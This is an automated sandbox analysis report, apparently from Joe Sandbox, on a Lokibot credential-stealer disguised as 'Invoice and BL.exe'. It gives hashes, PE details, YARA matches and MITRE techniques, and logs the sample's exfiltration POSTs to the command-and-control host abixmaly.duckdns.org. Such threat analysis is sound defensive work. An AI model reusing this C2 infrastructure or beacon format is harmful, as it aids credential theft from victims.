Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	0.6553179628425584
Encrypted:	false
SSDEEP:	3:/lbOllbOllbOllbOllbON:O
MD5:	5D9D7B3222A4B52C61F455AFA027CAE4
SHA1:	36BF394ABFBAF545FD187CE75BC76750CB0E3A08
SHA-256:	7B86820B53F41B8F9DD41C3F6F564796DA458F672AEB7EBA03C422252846B551
SHA-512:	27E36988F84BDFEE83F99FE2FCF1D98C3F6E4C3BFBC74958475B13243561016976D4F1998972B41C9D23CF5EE8307D84F0FE61711C140BD3D0E38E44A7403BFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.064655736923516
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Invoice and BL.exe
File size:	530432
MD5:	3c7b342067f6142e6ed45551f5f60c50
SHA1:	d83513aa4ac743b7fe0f7d1052a37b5ef1b50f60
SHA256:	419865b95d9a00faea2d00122baabd7c2ea0be23dd5d3f15eae589bb5a6beecd
SHA512:	33dcb9c1c0a5b7445c65baf93c2e84d2824a638e6a332b7f52c7a4b7b470e19bb75d28a47f43887ef85a1a593137e5e3805882e26607a4c00d9889760371aa8c
SSDEEP:	6144:szFdMVnEVM6k02GhNvpG+5FPx2eW1REnHhJZdSFAx7cLM7QBUWQMZFGV1R5:KFdM5X02iNv4sjWTGmY7/DMZFUR5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a..............0..............-... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x482d82
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6100F2E2 [Wed Jul 28 06:02:10 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x82d30	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x5f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x80d88	0x80e00	False	0.661054194956	data	7.07527531972	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x84000	0x5f0	0x600	False	0.434244791667	data	4.23356085492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x86000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x84090	0x360	data
RT_MANIFEST	0x84400	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Thomas ICHE 2011
Assembly Version	1.0.0.0
InternalName	sH7BDA6.exe
FileVersion	1.0.0.0
CompanyName	Thomas ICHE
LegalTrademarks
Comments
ProductName	NodeGraph Control
ProductVersion	1.0.0.0
FileDescription	NodeGraph Control
OriginalFilename	sH7BDA6.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 23:25:48.240401983 CEST	49735	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:48.546915054 CEST	80	49735	192.169.69.26	192.168.2.3
Aug 3, 2021 23:25:48.547018051 CEST	49735	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:48.549781084 CEST	49735	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:48.989089012 CEST	80	49735	192.169.69.26	192.168.2.3
Aug 3, 2021 23:25:49.217688084 CEST	49736	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:49.590460062 CEST	80	49736	192.169.69.26	192.168.2.3
Aug 3, 2021 23:25:49.590812922 CEST	49736	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:49.594585896 CEST	49736	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:50.064380884 CEST	80	49736	192.169.69.26	192.168.2.3
Aug 3, 2021 23:25:50.286206007 CEST	49737	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:50.621546030 CEST	80	49737	192.169.69.26	192.168.2.3
Aug 3, 2021 23:25:50.621686935 CEST	49737	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:50.624500036 CEST	49737	80	192.168.2.3	192.169.69.26
Aug 3, 2021 23:25:51.116770983 CEST	80	49737	192.169.69.26	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 23:25:01.965200901 CEST	55984	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:01.990057945 CEST	53	55984	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:02.812500000 CEST	64185	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:02.838824987 CEST	53	64185	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:03.623450041 CEST	65110	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:03.655958891 CEST	53	65110	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:04.799285889 CEST	58361	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:04.824037075 CEST	53	58361	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:05.609446049 CEST	63492	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:05.635703087 CEST	53	63492	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:06.394115925 CEST	60831	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:06.426983118 CEST	53	60831	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:07.545547962 CEST	60100	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:07.570559978 CEST	53	60100	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:08.219691992 CEST	53195	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:08.252476931 CEST	53	53195	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:09.019900084 CEST	50141	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:09.055320978 CEST	53	50141	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:11.024949074 CEST	53023	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:11.052884102 CEST	53	53023	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:11.832559109 CEST	49563	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:11.860027075 CEST	53	49563	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:12.767927885 CEST	51352	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:12.804932117 CEST	53	51352	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:13.611267090 CEST	59349	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:13.646742105 CEST	53	59349	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:14.420315027 CEST	57084	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:14.454694033 CEST	53	57084	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:15.235562086 CEST	58823	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:15.270891905 CEST	53	58823	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:15.931452036 CEST	57568	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:15.959507942 CEST	53	57568	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:17.930167913 CEST	50540	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:17.958234072 CEST	53	50540	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:32.462038040 CEST	54366	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:32.502648115 CEST	53	54366	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:36.951637030 CEST	53034	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:36.992911100 CEST	53	53034	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:47.089174032 CEST	57762	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:47.133114100 CEST	53	57762	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:48.091098070 CEST	55435	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:48.221827030 CEST	53	55435	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:49.182408094 CEST	50713	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:49.215876102 CEST	53	50713	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:50.152689934 CEST	56132	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:50.283862114 CEST	53	56132	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:54.193939924 CEST	58987	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:54.226804018 CEST	53	58987	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:56.135874987 CEST	56579	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:56.182151079 CEST	53	56579	8.8.8.8	192.168.2.3
Aug 3, 2021 23:25:58.320705891 CEST	60633	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:25:58.361673117 CEST	53	60633	8.8.8.8	192.168.2.3
Aug 3, 2021 23:26:00.458633900 CEST	61292	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:26:00.492656946 CEST	53	61292	8.8.8.8	192.168.2.3
Aug 3, 2021 23:26:37.320955992 CEST	63619	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:26:37.372351885 CEST	53	63619	8.8.8.8	192.168.2.3
Aug 3, 2021 23:26:38.905750036 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 3, 2021 23:26:38.948692083 CEST	53	64938	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 3, 2021 23:25:48.091098070 CEST	192.168.2.3	8.8.8.8	0x848a	Standard query (0)	abixmaly.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 23:25:49.182408094 CEST	192.168.2.3	8.8.8.8	0xa9e8	Standard query (0)	abixmaly.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 23:25:50.152689934 CEST	192.168.2.3	8.8.8.8	0x7bff	Standard query (0)	abixmaly.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 3, 2021 23:25:48.221827030 CEST	8.8.8.8	192.168.2.3	0x848a	No error (0)	abixmaly.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Aug 3, 2021 23:25:49.215876102 CEST	8.8.8.8	192.168.2.3	0xa9e8	No error (0)	abixmaly.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Aug 3, 2021 23:25:50.283862114 CEST	8.8.8.8	192.168.2.3	0x7bff	No error (0)	abixmaly.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

abixmaly.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49735	192.169.69.26	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Aug 3, 2021 23:25:48.549781084 CEST	1329	OUT	POST /binge/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: abixmaly.duckdns.org Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: D82FEB54 Content-Length: 190 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49736	192.169.69.26	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Aug 3, 2021 23:25:49.594585896 CEST	1336	OUT	POST /binge/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: abixmaly.duckdns.org Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: D82FEB54 Content-Length: 190 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49737	192.169.69.26	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Aug 3, 2021 23:25:50.624500036 CEST	1337	OUT	POST /binge/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: abixmaly.duckdns.org Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: D82FEB54 Content-Length: 163 Connection: close

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: Invoice and BL.exe PID: 1152 Parent PID: 5556

General

Start time:	23:25:05
Start date:	03/08/2021
Path:	C:\Users\user\Desktop\Invoice and BL.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Invoice and BL.exe'
Imagebase:	0x370000
File size:	530432 bytes
MD5 hash:	3C7B342067F6142E6ED45551F5F60C50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: RegSvcs.exe PID: 5412 Parent PID: 1152

General

Start time:	23:25:45
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x830000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Invoice and BL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

